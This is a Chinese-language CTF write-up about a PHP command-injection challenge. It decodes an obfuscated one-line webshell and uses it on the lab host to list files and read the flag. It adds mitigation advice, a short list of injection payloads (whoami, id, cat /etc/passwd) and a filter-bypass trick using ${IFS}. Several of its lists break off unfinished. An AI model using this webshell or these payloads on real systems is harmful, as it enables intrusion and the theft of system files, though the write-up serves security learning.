首先我们需要在本地搭建一个PHP测试环境来运行靶场提供的加密代码。推荐使用PHPStudy或XAMPP这类集成环境,它们能快速配置好Apache+PHP+MySQL的运行环境。我使用的是PHPStudy 2018版本,PHP版本为7.2.10。
在网站根目录(通常是www或htdocs文件夹)新建一个名为lhy.php的文件,将靶场提供的加密代码粘贴进去:
php复制<?php
print(gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&")));
?>
这段代码使用了PHP的两种常见数据处理函数:
base64_decode():解码Base64编码的字符串gzinflate():解压缩使用DEFLATE算法压缩的数据注意:在实际操作中,我发现原始代码中的Base64字符串包含HTML实体字符"&",需要先将其替换为普通字符"&"才能正确解码。这是靶场题目设置的一个小陷阱。
访问http://127.0.0.1/lhy.php后,页面输出了解密后的代码:
php复制echo `$_REQUEST[a]`;; ?>
这段代码揭示了几个关键安全漏洞:
$_REQUEST超全局变量:会接收GET、POST和COOKIE中的参数这种漏洞被称为"命令注入"(Command Injection),是Web安全中高危漏洞之一。攻击者可以通过构造特殊参数来执行任意系统命令。
根据解密结果,我们可以构造URL来探测服务器上的文件:
code复制http://119.3.165.128:43649/f.php?a=ls
这个命令会列出当前目录下的文件。从返回结果我们看到了关键文件:
code复制key_143581143061.php
直接使用cat命令读取文件内容:
code复制http://119.3.165.128:43649/f.php?a=cat key_143581143061.php
但页面显示空白,这可能是由于:
右键查看页面源代码,发现了隐藏的key:
html复制mozhea9c8b0ccb5a59847fbc05c40ea1
这种隐藏关键信息的方式在CTF比赛中很常见,目的是考察选手对基础Web技术的掌握程度。
PHP中有多个函数可以执行系统命令:
`command`system()函数exec()函数passthru()函数shell_exec()函数这些函数如果直接使用用户输入而未做过滤,就会产生命令注入漏洞。
$_REQUEST是一个特殊的PHP超全局变量,它会自动收集:
$_GET)$_POST)$_COOKIE)这种特性使得它比单独使用$_GET或$_POST更危险,因为攻击面更广。
对所有用户输入进行严格过滤:
php复制$command = escapeshellarg($_GET['a']);
echo `ls {$command}`;
只允许特定的命令和参数:
php复制$allowed_commands = ['ls', 'cat'];
if(in_array($_GET['cmd'], $allowed_commands)) {
echo `{$_GET['cmd']} --safe-param`;
}
在php.ini中禁用危险函数:
code复制disable_functions = exec,passthru,shell_exec,system,proc_open,popen
编码问题处理:当遇到Base64解码失败时,检查是否存在HTML实体编码问题。可以使用html_entity_decode()函数先处理。
命令注入技巧:在真实渗透测试中,可以尝试以下payload:
; whoami| id&& cat /etc/passwd隐蔽执行:有些系统会过滤空格,可以用以下方式绕过:
${IFS}代替空格%09结果获取:当直接输出被拦截时,可以尝试:
通过这个靶场题目,我们可以总结出CTF中命令注入类题目的通用解题流程:
这个题目虽然简单,但涵盖了Web安全中最基础的命令注入漏洞原理,是学习PHP安全的经典案例。在实际开发中,我们必须时刻警惕这类安全问题,对所有用户输入都保持"不信任"的态度,做好充分的过滤和验证。